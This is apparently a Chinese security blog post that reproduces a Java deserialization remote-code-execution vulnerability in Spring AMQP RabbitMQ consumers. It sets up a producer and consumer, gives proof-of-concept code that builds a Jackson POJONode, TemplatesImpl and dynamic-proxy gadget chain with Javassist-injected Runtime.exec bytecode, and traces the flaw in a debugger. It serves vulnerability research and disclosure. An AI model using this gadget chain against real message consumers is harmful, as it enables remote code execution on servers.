了解基本概念将使您了解 RabbitMQ 服务器的工作原理。
生产者生成 JSON 格式的消息,并将它们发送到 RabbitMQ 服务器。RabbitMQ 服务器由两个基本部分 exchange组成。queue它们起到路由器exchanges的作用,因为它们将消息准确地传送到指定的地方。然后等待消费者端消费的消息。queuesqueues
准备
使用docker安装RabbitMQ服务器
docker run --name rabbitmq -d -p 15672:15672 -p 5672:5672 rabbitmq:management
添加相关依赖
您还可以使用父存储库,因此相关的依赖项将自动加载。
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.12</version>
<relativePath/> <!-- 查找父级存储库 -->
</parent>
更新配置
生产者和消费者的配置都已更新。
简单演示
1.Producer
public class ProducerSimpleApplication {
@Autowired
RabbitTemplate rabbitTemplate;
@Test
public void sendEmail() throws Exception {
String message = "hello, pyn3rd!";
rabbitTemplate.convertAndSend(RabbitmaqConfig.EXCHANGE_TOPICS_INFORM, "inform.email", message);
}
}
2.Consumer
根据 VMware 安全公告的信息。@RabbitListener 应该使用。简洁的代码片段是这样的。
@Component
public class ReceiveHandler {
@RabbitListener(queues = {RabbitmaqConfig.QUEUE_INFORM_EMAIL})
public void send_email(String message){
System.out.println("receive message: " + message);
}
}
登录 Rabbit Server Web 控制台,您将验证消息是否已写入队列。
在消费者服务器端,消息将在创建者服务器启动时接收。
PoC Construction 概念验证建设
删除此行 BaseJsonNode.java ,以便使用 JSON1 小工具成功引发JSON消息反序列化。
Object writeReplace() {return NodeSerialization.from(this);}
利用 Javasist 工具替换 Java 类中的字节码并修改类的属性。
TemplatesImpl templatesImpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("com.demo.EvilTemplatesImpl");
CtClass clazz = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
cc.setSuperclass(clazz);
String cmd = "open -a calculator";
CtConstructor constructor = CtNewConstructor.make("public exec(){Runtime.getRuntime().exec(\""+ cmd +"\");}", cc);
cc.addConstructor(constructor);
setFieldValue(templatesImpl, "_name", "foo");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{cc.toBytecode()});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
利用动态代理类来确保可以稳定地触发。JSON1
Class<?> cls = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = cls.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler invocationHandler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObject = Proxy.newProxyInstance(cls.getClassLoader(), new Class[]{Templates.class}, invocationHandler);
POJONode jsonNodes = new POJONode(proxyObject);
BadAttributeValueExpException message = new BadAttributeValueExpException(null);
Field field = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
field.setAccessible(true);
field.set(message,jsonNodes);
确保反序列化的数据流已存储在 RabbitMQ 服务器的队列中。
让使用者开始监听来自 Java 消息服务的新消息。你会看到你所期待的。
Code Analysis 代码分析
在消费者端 SimpleMessageConverter 的类函数处 fromMessage 设置断点
步入 deserialize 功能。
ObjectInputStream 函数被覆盖,因此它在下一步中流入 resolveClass 函数。
单步执行 checkAllowedList 函数以找出检查逻辑。源代码告诉我们,可信赖的 Java 类可以添加到白名单中。
由于漏洞描述,我没有在允许列表中配置任何模式。
下一个流程是使用指定的 ClassLoader 来解析本地类
在基本检查了 gadget 中包含的 JSON1 一系列 java 类后,恶意对象将被反序列化。Jackson 库中触发的 toString 函数导致远程代码执行。
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里